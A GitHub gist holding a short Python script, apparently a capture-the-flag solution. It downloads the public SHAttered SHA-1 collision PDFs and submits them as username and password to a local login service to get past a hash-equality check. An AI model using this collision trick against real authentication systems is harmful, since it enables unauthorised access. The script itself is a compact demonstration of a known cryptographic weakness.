Skip to content

Instantly share code, notes, and snippets.

@TheoKlein
Created May 22, 2018 05:26
Show Gist options
  • Select an option

  • Save TheoKlein/680076138961fd2cd709c2a944c6cf3e to your computer and use it in GitHub Desktop.

Select an option

Save TheoKlein/680076138961fd2cd709c2a944c6cf3e to your computer and use it in GitHub Desktop.
SHA1
import requests
from urllib.request import urlopen
pdf1 = urlopen("http://shattered.io/static/shattered-1.pdf").read()
pdf2 = urlopen("http://shattered.io/static/shattered-2.pdf").read()
res = requests.post('http://127.0.0.1:8892/', data={"username": pdf1, "password": pdf2})
print(res.text)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment